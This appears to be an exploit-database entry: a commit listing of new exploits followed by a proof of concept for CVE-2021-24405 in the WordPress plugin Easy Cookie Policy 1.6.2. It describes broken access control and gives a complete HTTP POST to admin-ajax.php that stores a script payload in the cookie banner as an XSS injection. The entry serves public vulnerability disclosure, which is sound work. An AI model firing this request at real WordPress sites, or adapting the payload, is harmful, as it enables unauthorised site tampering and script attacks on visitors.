54b7907ae6
11 changes to exploits/shellcodes PostgreSQL 9.3-11.7 - Remote Code Execution (RCE) (Authenticated) Kramer VIAware 2.5.0719.1034 - Remote Code Execution (RCE) ImpressCMS 1.4.2 - Remote Code Execution (RCE) Atom CMS 2.0 - Remote Code Execution (RCE) Drupal avatar_uploader v7.x-1.0-beta8 - Cross Site Scripting (XSS) WordPress Plugin Curtain 1.0.2 - Cross-site Request Forgery (CSRF) WordPress Plugin cab-fare-calculator 1.0.3 - Local File Inclusion WordPress Plugin video-synchro-pdf 1.7.4 - Local File Inclusion WordPress Plugin admin-word-count-column 2.2 - Local File Read CSZ CMS 1.2.9 - 'Multiple' Blind SQLi(Authenticated) WordPress Plugin Easy Cookie Policy 1.6.2 - Broken Access Control to Stored XSS
27 lines
No EOL
1.2 KiB
Text
27 lines
No EOL
1.2 KiB
Text
# Exploit Title: WordPress Plugin Easy Cookie Policy 1.6.2 - Broken Access Control to Stored XSS
|
|
# Date: 2/27/2021
|
|
# Author: 0xB9
|
|
# Software Link: https://wordpress.org/plugins/easy-cookies-policy/
|
|
# Version: 1.6.2
|
|
# Tested on: Windows 10
|
|
# CVE: CVE-2021-24405
|
|
|
|
1. Description:
|
|
Broken access control allows any authenticated user to change the cookie banner through a POST request to admin-ajax.php.
|
|
If users can't register, this can be done through CSRF.
|
|
|
|
2. Proof of Concept:
|
|
POST http://localhost/wp-admin/admin-ajax.php HTTP/1.1
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
|
|
Accept: application/json, text/javascript, /; q=0.01
|
|
Accept-Language: en-US,en;q=0.5
|
|
Referer: http://localhost/wp-admin/options-general.php?page=easy-cookies-policy
|
|
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
|
X-Requested-With: XMLHttpRequest
|
|
Content-Length: 226
|
|
Origin: http://localhost
|
|
Connection: keep-alive
|
|
Host: localhost
|
|
Cookie: [Any authenticated user]
|
|
|
|
action=easy_cookies_policy_save_settings&maintext=<script>alert(1)</script>&background=black&transparency=90&close=accept&expires=365&enabled=true&display=fixed&position=top&button_text=Accept&text_color=#dddddd |